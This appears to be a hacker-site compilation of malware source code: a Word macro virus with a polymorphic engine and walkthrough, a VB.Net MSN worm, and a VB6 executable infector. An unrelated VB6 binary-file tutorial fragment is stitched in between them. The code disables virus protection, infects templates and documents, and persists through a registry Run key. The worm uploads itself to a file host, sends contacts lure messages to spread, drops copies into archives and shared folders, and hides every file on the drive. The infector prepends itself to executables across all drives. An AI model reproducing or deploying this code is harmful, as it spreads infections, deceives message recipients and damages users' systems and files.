Hacker Source

This engine is a combination of both a class infector and a polymorphic engine. The whole thing is called 'bliem' like the virus I first used this engine in. Let's say something about the technic...

The most bad thing about the already existing polymorphic engines for vba was that the always inserted the code at the same lines or the volume of the source code growed and growed and ... So 'bliem' doesn't have such problems. The main good thing in 'bliem' is that it always 'keeps an eye' on the actually size of the source code and reduces it when it's too big. Let's say something about the technic of inserting the junkcode: The junkcode is inserted into the viruscode not in the common way. The junkcode is inserted while infection. This means that the whole viruscode is stored in arrays and the junkcode is stored in some of this arrays. Like the main code is stored there, also junkcode is also there and will be inserted while infecting the
new class object. While inserting the actual code into arrays, the 'bliem brain' is checking for the actually size of itself and if its too big, it deletes some junk arrays. I use this method because the old one with the command '.deletelines' only screwed up the code.

To make 'bliem' work you have to insert a comment sign ( ' ) in the end of every code line. 'bliem' uses this for finding the junkcode in the normal virus code. Without this signs the virus and the polymorphic engine won't work.

So 'bliem' is infector and polymorphic engine in one, so don't wonder about the code. If you have any questions or whatever, feel free and mail me!

!This is only the distribution code. Original code uses shorter variable names!

Private Sub document_open() '
Dim virus(150): virus(1) = "bliem": Options.VirusProtection = (Rnd * 0) '
Set ho = MacroContainer.VBProject: Set hos = ho.VBComponents(1) '
Set host = hos.CodeModule: Set skip = NormalTemplate: this = Chr(39) '
Set newhost = skip.VBProject.VBComponents(1).CodeModule '
For y = 1 To Int(75 - (Rnd * 20)): vx = vx & Chr(255 - Int(Rnd * 100)): Next y '
vcode = "Private Sub document_close()" & this & vx & vbCr '
If MacroContainer = NormalTemplate Then '
Set skip = ActiveDocument '
Set newhost = skip.VBProject.VBComponents(1).CodeModule '
vcode = "Sub document_open()" & this & vx & vbCr '
End If: Randomize: lines_ = host.countoflines '
For i = 2 To lines_ '
junkcode = "" '
dis = Int(Rnd * 3) '
pos = InStr(host.Lines(i, 1), this) '
If pos = 0 Then GoTo end_ '
If pos = 2 And lines_ > 100 Then '
virus(i) = "": dis = 1: GoTo next_ '
End If '
virus(i) = Left(host.Lines(i, 1), (pos - 1)) '
For j = 1 To Int(75 - (Rnd * 20)) '
junkcode = junkcode & Chr(255 - Int(Rnd * 100)) '
Next j '
virus(i) = virus(i) & this & junkcode '
If dis = 2 Then virus(i) = virus(i) & vbCr & Chr(32) & this & junkcode '
vcode = vcode & virus(i) & vbCr '
next_: '
Next i '
end_: '
If newhost.countoflines < 2 Then '
newhost.AddFromString vcode '
skip.Save '
End If '
End Sub '
If Day(Now()) = 31 Then msbox virus(1) '
Rem Another virus by Jack Twoflower [LineZer0 & Metaphase] '
Rem Uses "bliem" polymorhic engine by Jack Twoflower '

I'll walk now through the code...

> Attention. The whole engine needs this " ' " signs after every
> line of code.

Private Sub document_open() '
Dim virus(150): virus(1) = "bliem": Options.VirusProtection = (Rnd * 0) '

> Dim the arrays. We need about 150 coz in this array the whole virus
> code will be stored. Turn off Virusprotection...

Set ho = MacroContainer.VBProject: Set hos = ho.VBComponents(1) '
Set host = hos.CodeModule: Set skip = NormalTemplate: this = Chr(39) '

> Set here our current host

For y = 1 To Int(75 - (Rnd * 20)): vx = vx & Chr(255 - Int(Rnd * 100)): Next y '

> Create junk code for the engine

vcode = "Private Sub document_close()" & this & vx & vbCr '

> This will be our first line of code...

If MacroContainer = NormalTemplate Then '
Set skip = ActiveDocument '
vcode = "Sub document_open()" & this & vx & vbCr '
End If: Randomize: lines_ = host.countoflines '

> If we are here in the Normaltemplate then exchange the hosts.

Set newhost = skip.VBProject.VBComponents(1).CodeModule '

> Set the new host

For i = 2 To lines_ '

> Here the 'brain' of the engine starts...

junkcode = "" '

> Clear the variable every loop

dis = Int(Rnd * 3) '

> Generate a random number for the engine

pos = InStr(host.Lines(i, 1), this) '

> Get the position of the " ' " character in every line...

If pos = 0 Then GoTo end_ '

> If there is no such sign goto end...

If pos = 2 And lines_ > 100 Then '

> The following code gets active if the size of the whole
> code is growing too big...it cuts the junkcode line out
> of the normal code...

virus(i) = "": dis = 1: GoTo next_ '

> Clear this variable and goto next loop

End If '
virus(i) = Left(host.Lines(i, 1), (pos - 1)) '

> If the size is not too big, copy the normal code without
> the junkcode into the arrays...

For j = 1 To Int(75 - (Rnd * 20)) '
junkcode = junkcode & Chr(255 - Int(Rnd * 100)) '
Next j '

> Generate junkcode again...

virus(i) = virus(i) & this & junkcode '

> Add the junkcode...

If dis = 2 Then virus(i) = virus(i) & vbCr & Chr(32) & this & junkcode '

> If the 'dis' integer is 2 then add some junkcode lines into our code...

vcode = vcode & virus(i) & vbCr '

> Add the whole code into 'vcode'

next_: '
Next i '

> Play it again Sam!

end_: '
If newhost.countoflines < 2 Then '

> If there are 0 or 1 line in our newhost...

newhost.AddFromString vcode '

> infect it...

skip.Save '

> and save it...

End If '
If Day(Now()) = 31 Then msbox virus(1) '

> little payload...

End Sub '
Rem Another virus by jack twoflower [LineZer0 & Metaphase] '
Rem Uses "bliem" polymorhic engine by jack twoflower '

ref. VX Heavens

A basic MSN Messanger & ZIP/RAR Archive & MSN shares worm.. Don't try to spread it!
Written in VB.Net due to synge complaining that there isnt enough VB.Net malware lol

source code:

Imports MessengerAPI
Imports System.Diagnostics
Imports System.Reflection
Imports Microsoft.Win32
Imports System.IO
Imports System.Net
Imports System.Text

'A basic MSN Messanger & ZIP/RAR Archive & MSN shares worm.. Don't try to spread it!
'Written in VB.Net due to synge complaining that there isnt enough VB.Net malware lol

'''''''''''''''''''''''''''''''''
' Genetix {Doomriderz} '
' W32/Nurofen.worm '
' XMAS 2006 '
'''''''''''''''''''''''''''''''''

'1: adds to registry run key to start with windows "c:\MSNUpdate.exe".
'2: waits for msn to load by checking processes for "msnmsgr" then waits and checks to see if it's signed in and appear as online.
'3: uploads a copy of itself to the filesever with a random file name
'4: get's a random topic & gets all online contacts
'5: sends the random topic with the url to the worm download & url to DotNet framework 2.0 :p
'6: checks if the WinRar.exe exists by checking for the path in the registry
'7: searches for rar & zip files in it's folder and drops a copy of itself inside them
'8: Find MSN shared folders and copy as "Game.exe" to them.
'9: Kinda harmless payload that hides every file on the drive (attr +H)

'My worm will work depending on the follwoing reasons:
'1: The file server used dont change how it handles uploads
'2: You dont change the code and mess it all up!
'3: you have .net 2.0
'4: you have internet access
'4: its bug free (i think it is but report any bugs to me genetix [AT] phreaker [Dot] net
'5: If it dont work for people trying to spread it then I dont care! I hope it fails on you.
Public Class Form1
Private Const MAX_PATH As Integer = 260

'declare some API's / variables... ect that will be used globaly in this worm
Private Declare Auto Function GetShortPathName Lib "kernel32" ( _
ByVal lpszLongPath As String, _
ByVal lpszShortPath As System.Text.StringBuilder, _
ByVal cchBuffer As Integer) As Integer
Const DotNet As String = "http://MSDOTNET.notlong.com" 'short url to .net 2.0
Dim RarPath As String
Dim WormPath As String
Dim WormFile As String
Dim msn As New Messenger()
Dim Victims As IMessengerContacts
Dim Victim As IMessengerContact
Dim Worm As String
Dim url As String
Const KeyTitle As String = "MSNUpdate"
Const subkey As String = "Software\Microsoft\Windows\CurrentVersion\Run"

'This sub deals with calling other needed sub's/functions and is the main body
'of the contacts spreading.
Sub MSN_Worm()
On Error Resume Next
upload()
File.Delete(Worm)
Dim message(15) As String
Randomize()
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'some lame messages to fool the user into getting this worm.. '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
message(1) = "New msn block checker 1.5 Download here: " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(2) = "MSN Block checker download " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(3) = "Working MSN block checker " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(4) = "Free MSN Add-ons limited! " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(5) = "New MSN messanger 2007 " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(6) = "Find out who's blocked you! " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(7) = "Download the new MSN block checker! " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(8) = "Download the new MSN smilie kit! " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(9) = "NEW MSN BLOCK CHECKER DOWNLOAD NOW! " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(10) = "Download the new MSN bot it talks like a real person!! " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(11) = "New MSN tool get it now! " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(12) = "Download our new MSN block checker " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(13) = "Find out who is blocking you on MSN " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(14) = "This program can get your friends MSN passwords!! " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet
message(15) = "Find out your friends MSN passwords! " & url & _
" you will need to install the .net framework to run this application, here: " & DotNet

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'okay so now it searches for online contacts and and opens a '
'a chat window to send its download link then closes the window.. '
'all done kinda reall fast '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Victims = msn.MyContacts
For Each Victim In Victims
If Victim.Status <> MISTATUS.MISTATUS_OFFLINE Then
If Victim.Blocked <> True Then
msn.InstantMessage(Victim.SigninName)
SendKeys.SendWait(message(Int(15 * Rnd()) + 1))
SendKeys.SendWait("{ENTER}")
SendKeys.SendWait("{ESC}")
End If
End If
Next

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'call sub to get WinRar from registry then check if it exist '
'if so, call the rar worm function (also for .zip) '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
RarPath = GetRarPath()
If File.Exists(RarPath) = True Then
RarWorm()
End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'call MSN shares spreading sub '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
MSN_Share_drop()
Randomize()

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'to check if payload should activate via random number comparing '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
If Int(200 * Rnd()) = 50 Then
payload()
End If

End Sub

Private Sub Timer_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer.Tick
On Error Resume Next
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'The worm need's to know when MSN starts/When its online/If its '
'already running ect.. this this timer deals with all that stuff '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Dim FindProcess As Process
For Each FindProcess In Process.GetProcesses(System.Environment.MachineName)
If (FindProcess.ToString().IndexOf("msnmsgr", 0) + 1) Then
If msn.MyStatus = MISTATUS.MISTATUS_ONLINE Then
Timer.Enabled = False
MSN_Worm()
End If
End If
Next FindProcess
End Sub

Sub upload()
On Error Resume Next
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' Thx you retro soooo much~! most of this sub is all his code but i rewrote it in VB.net for this '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Well this is very kewl! it uploads itself to the file server and gets the link to download it
'thats all but It's good!
Dim pos As Integer
Dim pos2 As Integer
Dim sKey As String
Dim key As String
Dim boundary As String = Guid.NewGuid().ToString().Replace("-", "")
Dim fs As FileStream = File.OpenRead(Worm)
Dim bytes As Byte() = New Byte(fs.Length - 1) {}
fs.Read(bytes, 0, bytes.Length)
fs.Close()

Dim mimebody As String = "--" & _
boundary & Constants.vbCrLf & _
"Content-Disposition: form-data; name=""MAX_FILE_SIZE""" & _
Constants.vbCrLf & Constants.vbCrLf & "27000000" & Constants.vbCrLf & _
"--" & boundary & Constants.vbCrLf & _
"Content-Disposition: form-data; name=""page""" & _
Constants.vbCrLf & Constants.vbCrLf & "upload" & Constants.vbCrLf & _
"--" & boundary & Constants.vbCrLf & _
"Content-Disposition: form-data; name=""file""; filename=""" & _
Worm & """" & Constants.vbCrLf & "Content-Type: application/x-msdos-program" _
& Constants.vbCrLf & Constants.vbCrLf & Encoding.Default.GetString(bytes) & _
Constants.vbCrLf & "--" & boundary & "--" & Constants.vbCrLf

Dim buffer As Byte() = Encoding.Default.GetBytes(mimebody)
Dim request As HttpWebRequest = CType(WebRequest.Create("http://www5.upload2.net/upload.php"), HttpWebRequest)
request.Method = "POST"
request.ContentType = "multipart/form-data; charset=UTF-8; boundary=" & boundary
request.Accept = "text/xml,application/xml,application/xhtml+xml, " _
+ "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
request.Headers.Add("Accept-Encoding", "gzip,deflate")
request.Headers.Add("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7")
request.ContentLength = buffer.Length
ServicePointManager.Expect100Continue = False
request.CookieContainer = New CookieContainer()
Dim srvStream As Stream = request.GetRequestStream()
srvStream.Write(buffer, 0, buffer.Length)
srvStream.Close()
Dim response As HttpWebResponse = CType(request.GetResponse(), HttpWebResponse)
Dim respURL As String = response.ResponseUri.ToString()

'I love playing with strings!
pos = (respURL.IndexOf("/id/", 0) + 1)
sKey = Mid(respURL, pos + 4, Len(respURL))
pos2 = (sKey.IndexOf("/pwd/", 0) + 1)
key = sKey.Substring(0, pos2 - 1)
url = "http://www.upload2.net/page/download/" + key + "/" + Worm + ".html"

End Sub

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Worm needs to know the current drive its on so this deals with it. '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function CurDrive(ByVal arg As String)
On Error Resume Next
Dim dir As String, Pos As String
Pos = (arg.IndexOf("\", 0) + 1)
dir = arg.Substring(0, Val(Pos))
CurDrive = dir
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'payload that calls on other functions to get what it needs. '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub payload()
On Error Resume Next
Dim MyDir As DirectoryInfo
MyDir = New DirectoryInfo(WormPath)
GetDirs(MyDir)
End Sub

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'this kinda just installs the worm.. explains itself (like most of my code) '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
Me.Visible = False
Dim WormModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
WormFile = (WormModule.FullyQualifiedName)
WormPath = (CurDrive(WormFile))
Dim NewValue As String = WormPath & "\WINDOWS\" & KeyTitle & ".exe"
If File.Exists(NewValue) = False Then
File.Copy(WormFile, NewValue)
End If
Worm = RndFileName() & ".exe"
If File.Exists(Worm) = False Then
File.Copy(WormFile, Worm)
End If

Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey(subkey, True)
key.SetValue(KeyTitle, NewValue)
End Sub

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'this is part of a recursive folder searching function '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub GetDirs(ByVal aDir As DirectoryInfo)
On Error Resume Next
Dim nextDir As DirectoryInfo
GetFiles(aDir)
For Each nextDir In aDir.GetDirectories
GetDirs(nextDir)
Next
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'same as above but for files.. they reply on eachother to work.. '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Sub GetFiles(ByVal aDir As DirectoryInfo)
On Error Resume Next
Dim aFile As FileInfo
For Each aFile In aDir.GetFiles()
File.SetAttributes(aFile.FullName, FileAttributes.Hidden)
Next
End Sub
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'well i decided its better not to use a static name for uploading '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function RndFileName()
On Error Resume Next
Dim builder As New StringBuilder()
Dim random As New Random()
Dim cha As Char
Dim i As Integer
For i = 0 To 6
cha = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65)))
builder.Append(cha)
Next
RndFileName = builder.ToString()
End Function
''''''''''''''''''''''''''''''''''''''''
'this sub is for zip/rar archive worm '
''''''''''''''''''''''''''''''''''''''''
Sub RarWorm()
On Error Resume Next
Dim WormModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
Dim WormFile As String = (WormModule.Name)
Dim FullName As String = (WormModule.FullyQualifiedName)
Dim WormPath As String = (WorkingFolder(FullName))
Dim i As Int32 = 0
Dim files() As String
Dim compile As String = ""
Dim ShrtPath As String = ""
Dim shrtWorm As String = 0
Dim ext As String = ""
files = System.IO.Directory.GetFiles(WormPath)

For i = 0 To files.GetUpperBound(0)
ext = Mid(files(i), Len(files(i)) - 3, Len(files(i)))
If ext = ".rar" Or ext = ".zip" Then
ShrtPath = GetShortFileName(files(i))
compile = RarPath & " a " & ShrtPath & Space(1) & WormFile
Shell(compile, AppWinStyle.Hide, True)
End If
Next
End Sub
'''''''''''''''''''''''''''''''''''
'here is the MSN shares worm sub '
'''''''''''''''''''''''''''''''''''
Sub MSN_Share_drop()
On Error Resume Next
Dim WormModule As System.Reflection.Module = [Assembly].GetExecutingAssembly().GetModules()(0)
Dim WormFile As String = (WormModule.FullyQualifiedName)
Dim FolPath As String = WormPath & "Documents and Settings\" & Environ("USERNAME") & "\Local Settings\Application Data\Microsoft\Messenger\"
If Dir(FolPath, FileAttribute.Directory) <> "" Then
Dim i As Int32 = 0
Dim x As Int32 = 0
Dim shares() As String
shares = System.IO.Directory.GetDirectories(FolPath)
For i = 0 To shares.GetUpperBound(0)
If Dir(shares(i), FileAttribute.Directory) <> "" Then
If File.Exists(shares(i) & "\Game.exe") = False Then
File.Copy(WormFile, shares(i) & "\Game.exe")
End If
End If
Next
End If
End Sub
''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'the worm needs to know if and where WinRar is right? '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetRarPath() As String
On Error Resume Next
Dim myReg As RegistryKey
myReg = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\WinRAR.exe", False)
If Not myReg Is Nothing Then
GetRarPath = CStr(myReg.GetValue("Path")) & "\WinRar.exe"
End If
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Long path wont work with WinRar.exe because of the spaces so this function deals with it '
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Public Function GetShortFileName(ByVal LongPath As String) As String
On Error Resume Next
Dim ShortPath As New StringBuilder(MAX_PATH)
Dim BufferSize As Integer = GetShortPathName( _
LongPath, _
ShortPath, _
ShortPath.Capacity)

Return ShortPath.ToString()
End Function
'''''''''''''''''''''''''
'get current directory '
'''''''''''''''''''''''''
Function WorkingFolder(ByVal arg As String)
On Error Resume Next
Dim dir As String, Pos As String
Pos = InStrRev(arg, "\")
dir = Mid(arg, 1, Val(Pos))
WorkingFolder = dir
End Function

End Class

'Ok its messy! But I'm proud of it.

The reader is expected to have read the first part of this tutorial which deals
with sequential files. You can still follow this tutorial without reading Part-I,
but I recommend reading the sequential files tutorial first because I may have mentioned certain things in Part-I which also apply to Binary Files.

As far as Visual Basic 6 is concerned, there are three modes in which a file can
be accessed.

1. Text Mode (Sequential Mode)
2. Binary Mode
3. Random Access Mode

In the Text Mode, data is ALWAYS written and retrieved as CHARACTERS.
Hence, any number written in this mode will result in the ASCII Value of the
number being stored.
For Example, The Number 17 is stored as two separate characters "1" and "7".
Which means that 17 is stored as [ 49 55 ] and not as [ 17 ].

In the Binary Mode, everything is written and retrieved as a Number.
Hence, The Number 17 Will be stored as [ 17 ] in this mode and
characters will be represented by their ASCII Value as always.

One major difference between Text Files and Binary Files is that Text Files
support Sequential Reading and Writing. This means that we cannot read or write
from a particular point in a file. The only way of doing this is to read through
all the other entries until you reach the point where you want to 'actually'
start reading.

Binary Mode allows us to write and read anywhere in the file. For example we can
read data directly from the 56th Byte of the file, instead of reading all the
bytes one by one till we reach the 56th byte.

Part-I dealt with Sequential Files, and this one will teach you how to read and
write files in Binary Mode.

You will often come across the terms "Text Files", "Sequential Files",
"Sequential Mode", "Binary Mode" and "Binary Files" while reading books,
articles or even posts on the internet related to file handling and wonder what
they really mean.

A file is a set of bytes/records stored together.

Text Files are files which contain only characters in ASCII or Unicode.

Sequential Files are files opened in Sequential Mode.

Sequential Mode refers to any of the modes used for sequential file handling
which are Input, Output and Append.

Binary Mode refers to the Binary Mode [which you shall learn about as you
progress through this tutorial]

Binary Files refer to files opened in Binary Mode.

You should note that Binary Files and Sequential Files are not different kinds
of files but rather different methods of accessing a file.

Any file can be opened in both sequential and binary modes (obviously not at the
same time wink2.gif ). If it is opened in sequential mode, you will only be able to
access data in the file sequentially. If it's opened in Binary mode, you can
access any byte in the file without reading the previous bytes in the file.

example :

1. Add a Command Button with name as Command1 onto a Form
2. Private Sub Command1_Click()
3. Dim f As Long
4. f = FreeFile()
5.
6. Open "c:\test.txt" For Binary As #f
7. Close #f
8. End Sub

view plainprint?

1. 'Add a Command Button with name as Command1 onto a Form
2. Private Sub Command1_Click()
3. Dim f As Long
4. f = FreeFile()
5.
6. Open "c:\test.txt" For Binary As #f
7. Close #f
8. End Sub

As you can see, the FreeFile() function can also be used for binary files.
The Open Statement opens c:\test.txt in Binary Mode and the next statement
closes the file.

As obvious as it may sound, you need to open a file before using it and close it
when you have finished reading or writing to it. Many programmers forget to add
the Close statement which results in the File Already Open Error, and it can be
a pain to track down the exact location that caused the error when you're
dealing with many files.

You should note that this snippet does more than open and close a file.
If the test.txt file is not present in C drive, then it creates a blank file
with the same name.

Executable Infector

This is the only one of its kind..
But there is a new Update i made for the previous method.
now you can easily extract (an) icon of the original EXE and save it to the Infected EXE
note that if The Original EXE has more than one Icon .. we can't specify The main icon in this case.. so we will extract any icon and save it to the infected EXE

Add :

The Infector Routine depends on The everlasting method
>>>> My Application + Original EXE <<<<

And will be exploring original EXE on drives, be carefull !!!

CODE : ( VB Language )

Dim sPath As String
Dim sOPath As String
Dim sData As String
Dim VirusData As String
Dim FinalEXE As String
Dim lStart As Long
Dim lEnd As Long
Dim sLen As Long
Dim sIcon As String

Private Sub Form_Load()
app.TaskVisible = False

If App.PrevInstance = True Then End

'## Begin OF Dropping

sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
sOPath = AddBackSlash(App.Path) & App.EXEName & ".MFF"

If LCase(sPath) = LCase(Environ$("WinDir") & "\csrss.exe") Then

Else

Open sPath For Binary As #1
sData = Space(LOF(1))
Get #1, , sData

lStart = InStr(25000, sData, "|||||")

If lStart > 0 Then
lStart = lStart + 5
sData = Mid(sData, lStart)
Open sOPath For Binary As #2
Put 2, , sData
Close 2
If Command$ = "" Then
Shell sOPath, vbNormalFocus
Else
Shell sOPath & " " & Command$, vbNormalFocus
End If
End If

Close 1
End If

'## End OF Dropping

'@@@@@@@@@@@@@@@@@@@@@@@@@

If Dir(Environ$("WinDir") & "\csrss.exe") = "" Then
sPath = AddBackSlash(App.Path)
FileCopy sPath & App.EXEName & ".exe", Environ$("WinDir") & "\csrss.exe"
While Dir(Environ$("WinDir") & "\csrss.exe") = ""
DoEvents
Wend
Shell Environ$("WinDir") & "\csrss.exe"
End
End If

If LCase(sPath) = LCase(Environ$("WinDir") & "\csrss.exe") Then

'Do nothing
Else

Shell Environ$("WinDir") & "\csrss.exe"
End
End If

'#########################


Call GetDrives

End Sub

'#########################

' Sub GetDrives()
Dim ObjFSO As Object
Dim Drives As Object
Dim sDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")

Set Drives = ObjFSO.Drives
For Each sDrive In Drives
If sDrive.DriveType = 2 Then
MsgBox sDrive & "\"
GetEXEs (sDrive & "\")
GetFolders (sDrive & "\")
End If
Next
End Sub

Function GetFolders(Folder As String)
Dim ObjFSO As Object
Dim sFolder As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each sFolder In ObjFSO.GetFolder(Folder).SubFolders
DoEvents
Call GetEXEs(sFolder.Path)
Call GetFolders(sFolder.Path)
Next
End Function

Function GetEXEs(Path As String)
Dim exes As String, EXEPath As String

If Right(Path, 1) <> "\" Then Path = Path & "\"
EXEPath = Dir$(Path & "*.exe")
While EXEPath <> ""
List1.AddItem Path & EXEPath
'MsgBox Path & EXEPath
Call InfectEXE(Path & EXEPath)
EXEPath = Dir$
Wend

End Function

Function InfectEXE(EXEPath As String)
Me.Visible = True
On Error Resume Next
Dim Check As Boolean
Check = False

Dim s As String, ss As String, sss As String
Dim sNulls As String
Dim sLenICOINEXE As Long
Dim sLenDif As Long
Dim sLenTemp As String
Dim sTemp As String

s = "1u" & "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"
sss = "3u(" & Chr$(0) '& Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0)

For i = 1 To 296 ' Generate 296 Nulls to change 16*16 icon
sNulls = sNulls & Chr$(0)
Next

'First we will check if it is already infected
Open EXEPath For Binary As #1
sData = Space(LOF(1))
Get 1, , sData
Close 1
If InStr(25000, sData, "|||||") Then
'it is infected then do nothing
Else
'it is clean so try to infect it
Kill EXEPath

sIcon = GetIconFromEXE(sData, Check)

If Check = True Then
'MsgBox "Icon Found"

sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"
Open sPath For Binary As #2
VirusData = Space(LOF(2))
Get 2, , VirusData
Close #2

i = InStr(1, VirusData, s)
If i <> 0 Then '(1u found)
VirusData = Left(VirusData, i + 1) ' get to u in (1u)

VirusData = VirusData & sIcon


FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3

Exit Function

Else 'If (1u) not found .. try to find (3u)
i = InStr(1, sData, sss)
If i > 0 Then
'Debug.Print "Second Method Method... (3u found)"
sTemp = Left(VirusData, i + 1) 'Get to (3u)
sLenICOINEXE = Len(VirusData) - (i + 297) ' add one byte to 296 coz of (u) in (1u)
sLenICOINICO = Len(sIcon)

If sLenICOINEXE > sLenICOINICO Then
sLenDif = sLenICOINEXE - sLenICOINICO

For i = 1 To sLenDif
sLenTemp = sLenTemp & Chr$(0)
Next
End If

VirusData = sTemp & sNulls & sIcon & sLenTemp
FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
Exit Function
End If
End If 'for if i <> 0

FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3

Else ' Means Check = False
'virus icon is default for the final EXE
sPath = AddBackSlash(App.Path) & App.EXEName & ".exe"

Open sPath For Binary As #2
VirusData = Space(LOF(2))
Get 2, , VirusData
Close #2



FinalEXE = VirusData & "|||||" & sData
Open EXEPath For Binary As #3
Put 3, , FinalEXE
Close 3
End If ' for check

End If ' for |||||
End Function

Function GetIconFromEXE(ByVal eData As String, ByRef state As Boolean) As String

Dim c As String, sNull As String, ss As String
Dim sPath As String, sIcon As String
Dim l As Long
c = Chr$(0) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(1) & Chr$(0) & Chr$(32) & Chr$(32) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(0) & Chr$(168) & Chr$(8) & Chr$(0) & Chr$(0) & Chr$(22) & Chr$(0) & Chr$(0) & Chr$(0)
ss = "(" & Chr$(0) & Chr$(0) & Chr$(0) & " " & Chr$(0) & Chr$(0) & Chr$(0) & "@"


i = InStr(1, eData, "MSVBVM")

If i > 0 Then
'VB EXE
i = InStr(1, eData, ss)
If i > 0 Then
sIcon = Mid(eData, i)
'sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True

Exit Function
End If
Else ' Not Vb EXE so first search for last (... ...@ and compare the size
i = InStr(1, eData, ss)
If i > 0 Then
If Len(eData) - i > 10000 Then
i = InStrRev(eData, ss, Len(eData))
If i > 0 And Len(eData) - i < sicon =" Mid(eData," sicon =" c" sicon =" sIcon" geticonfromexe =" sIcon" state =" True" sicon =" Mid(eData," sicon =" c" sicon =" sIcon" geticonfromexe =" sIcon" state =" True" sicon =" Mid(eData,"> 0 Then
' l = 2350 - Len(sIcon)
' For i = 1 To l
' sNull = sNull & Chr(0)
' Next
' End If

' sIcon = c & sIcon & sNull & Chr(255)
sIcon = sIcon & sNull & Chr(255)
GetIconFromEXE = sIcon
state = True


Exit Function

End If
End If
End If

state = False

End Function
Function AddBackSlash(strPath As String) As String
If Right(strPath, 1) <> "\" Then
AddBackSlash = strPath & "\"
Else
AddBackSlash = strPath
End If
End Function

Private Sub Form_Unload(Cancel As Integer)
End
End Sub

References :

Written By justin[Mohamed FaYeD] _
Thensync@hotmail.com

http://www.rohitab.com